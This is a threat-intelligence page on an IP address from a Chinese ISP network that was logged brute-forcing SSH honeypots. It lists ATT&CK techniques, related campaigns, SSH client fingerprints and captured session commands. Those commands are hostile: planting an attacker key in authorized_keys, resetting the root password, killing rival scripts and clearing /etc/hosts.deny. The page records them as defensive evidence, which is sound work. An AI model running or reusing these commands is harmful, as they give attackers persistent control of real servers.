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119.96.81.99

Threat Confidence

56%

Location

🇨🇳 CN / Suzhou

ASN

AS58563 · CHINANET Hubei province network

Cloud Provider

—

Total Events

Above average by volume

Agent Count

First / Last Seen

2026-03-26 03:50 — 2026-04-20 12:39

Attack Types

ssh:bruteforce

MITRE ATT&CK Techniques

Reconnaissance

T1595 T1595.002

Initial Access

T1078

Defense Evasion

T1070.004

Credential Access

T1110 T1110.001

Discovery

T1046 T1082 T1083

Command and Control

T1105

External Corroboration

Blocklist.de

Reported 2026-04-20 15:53

blocklist_de:reported

Campaigns

AS58563 CHINANET Hubei province network ASN Active medium 🇨🇳 CN

5 IPs 89 events

ssh:bruteforce

2026-03-04 — ongoing · 5 IPs from the same network (CHINANET Hubei province network, AS58563) were active during overlapping time periods. Temporal …

HASSH 03a80b21afa8… — SSH-2.0-libssh_0.11.1 (660 IPs, 73 countries) HASSH Active high 🇨🇳 CN

660 IPs 234702 events

ssh:bruteforce

2026-02-27 — ongoing · 660 IPs are running an identical SSH client (HASSH fingerprint 03a80b21afa8…). Top network: China Telecom Group (AS4811). Geographic …

Session Forensics

scanner ×3 malware_dropper ×2 credential_probe ×1 opportunistic_bruter ×1

Sessions

7 (3 with login)

Avg Depth Score

0.45

Commands Executed

Files Downloaded

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
cat /proc/cpuinfo | grep name | wc -l
echo "root:ePHw1BuH6CrI"|chpasswd|bash
rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
ls -lh $(which ls)
which ls

Fingerprints

HASSH

03a80b21afa810682a776a7d42e5e6fb

SSH Client

SSH-2.0-libssh_0.11.1

Evidence Timeline

Malware Dropper af67018ccbdd w4m_singapore_01 · 2026-04-20 12:37

20 2 1 100%

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Scanner 58f54b87ae86 w4m_singapore_01 · 2026-04-20 12:37

15%

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Scanner 42a3c8ec6d69 w4m_singapore_01 · 2026-04-20 12:37

15%

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Malware Dropper 2df4b9159bdd w4m_singapore_01 · 2026-04-19 16:36

3 1 1 100%

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Opportunistic Bruter 9408d9665c58 w4m_singapore_01 · 2026-04-19 16:36

1 50%

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Credential Probe e09cb3247ffa w4m_singapore_01 · 2026-04-19 16:36

1 20%

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Scanner 7f793dba67ce w4m_singapore_01 · 2026-03-26 03:50

15%

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